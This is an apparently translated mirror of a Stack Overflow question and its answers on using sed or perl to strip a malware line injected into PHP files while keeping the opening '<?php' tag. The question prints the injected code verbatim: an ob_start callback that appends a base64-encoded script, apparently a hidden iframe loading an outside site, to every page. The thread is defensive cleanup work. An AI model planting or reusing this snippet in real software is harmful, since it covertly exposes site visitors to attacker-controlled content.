首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >如何通过sed/perl删除行,同时保留某些字符?

如何通过sed/perl删除行,同时保留某些字符?
EN

Stack Overflow用户
提问于 2012-10-24 08:54:58
回答 2查看 194关注 0票数 0

我正在尝试对所有.php文件进行批量搜索并替换以下字符串,以便清除恶意软件:

代码语言:javascript
复制
<?php ob_start("security_update"); function security_update($buffer){return $buffer.base64_decode('PHNjcmlwdD5kb2N1bWVudC53cml0ZSgnPHN0eWxlPi52Yl9zdHlsZV9mb3J1bSB7ZmlsdGVyOiBhbHBoYShvcGFjaXR5PTApO29wYWNpdHk6IDAuMDt3aWR0aDogMjAwcHg7aGVpZ2h0OiAxNTBweDt9PC9zdHlsZT48ZGl2IGNsYXNzPSJ2Yl9zdHlsZV9mb3J1bSI+PGlmcmFtZSBoZWlnaHQ9IjE1MCIgd2lkdGg9IjIwMCIgc3JjPSJodHRwOi8vd3d3Lml3cy1sZWlwemlnLmRlL2NvbnRhY3RzLnBocCI+PC9pZnJhbWU+PC9kaXY+Jyk7PC9zY3JpcHQ+');}

我可以通过sed '/buffer.base64_decode/d' file.php删除整行。但是,我仍然需要打开的<?php

因此,真正需要做的是为<?php搜索和替换buffer.base64_decode,在这台邪恶的计算机前度过了漫长的一天后,我的大脑里全是土豆泥。

或者,也许我把自己想成了一个小盒子,而这一切都错了?

EN

回答 2

Stack Overflow用户

回答已采纳

发布于 2012-10-24 09:17:11

perl -pe 's/<\?php ob_start\("security_update"\);.*?\?>//gsm; s/<\?php ob_start\("security_update"\);.*/<?php/g;' test.php

票数 0
EN

Stack Overflow用户

发布于 2012-10-24 14:26:36

您不是简单地更改它,而不是删除行吗?下面是如何使用GNU sed

代码语言:javascript
复制
sed -i '/buffer.base64_decode/c \<?php ' file.php

现在,对于工作目录中的所有文件:

代码语言:javascript
复制
find . -type f -name "*.php" -exec sed -i '/buffer.base64_decode/c \<?php ' {} \;
票数 1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/13041537

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档